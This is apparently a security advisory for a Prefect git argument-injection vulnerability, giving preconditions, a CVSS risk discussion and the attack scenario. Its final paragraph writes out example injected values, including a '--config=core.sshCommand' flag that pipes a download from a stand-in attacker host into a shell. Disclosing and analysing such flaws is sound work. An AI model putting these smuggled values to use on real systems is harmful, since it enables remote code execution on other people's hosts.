Prefect CVE-2026-7725

Authentication is required-the attacker must be a legitimate Prefect user or have obtained valid credentials. The GitRepository class must be instantiated with user-controlled or attacker-influenced commit_sha or directories parameters (the vulnerability does NOT affect hardcoded repository specifications). The attack succeeds when commit_sha contains git command-line flags (e.g., --upload-pack, --config, -c) or when directories contain values prefixed with -- or single- or double-dash options that git sparse-checkout will interpret as flags rather than paths. No special configuration or non-default deployment mode is required-the vulnerability exists in the standard GitRepository handler used for pulling code from git sources. Limitations: the attacker cannot escalate beyond the privilege level of the Prefect runner process, and the injection is constrained to git command arguments (not arbitrary shell commands, though git options like --config and --upload-pack do allow shell command execution in some git configurations).

CVSS 6.3 (Medium) with network vector (AV:N/AC:L/PR:L) indicates moderate real-world risk. The vulnerability requires authenticated access (PR:L), which significantly limits attack surface compared to unauthenticated RCE. However, the presence of publicly available exploit code and the low attack complexity (AC:L) elevate practical risk for organizations where Prefect runners are accessible to multiple users or where user accounts are compromised. The E:P (Proof of Concept Exploit) rating confirms public exploit availability. SSVC signals are mixed: exploitation is confirmed (POC exists), the attack is remotely deliverable over the network, but it requires legitimate authentication, making it more suitable for insider threats or compromised-credential scenarios than opportunistic internet-wide scanning. Organizations running Prefect in shared multi-tenant environments or with overly permissive access controls face heightened risk. The absence of KEV confirmation suggests this is not yet being exploited at scale by advanced actors, but the public exploit code availability and low attack complexity mean defensive deployment must happen promptly. The integrity and confidentiality impacts (I:L/C:L) are limited to the execution context of the Prefect runner-depending on runner privileges and network position, actual impact could range from data exfiltration to lateral movement.

An authenticated Prefect user (or attacker with compromised credentials) creates a flow that triggers a GitRepository pull operation, supplying a malicious commit_sha like '--upload-pack=touch /tmp/pwned' or a directories parameter like '--config=core.sshCommand=curl http://evil.com|sh'. The unpatched code concatenates this directly into a git sparse-checkout command, causing git to interpret the injected flags as command options, executing arbitrary code on the Prefect runner's host with the privileges of the Prefect process. Publicly available exploit code (gist.github.com/nedlir/c37d90dda5f715790eafc970b2ef0c8a) demonstrates this attack method.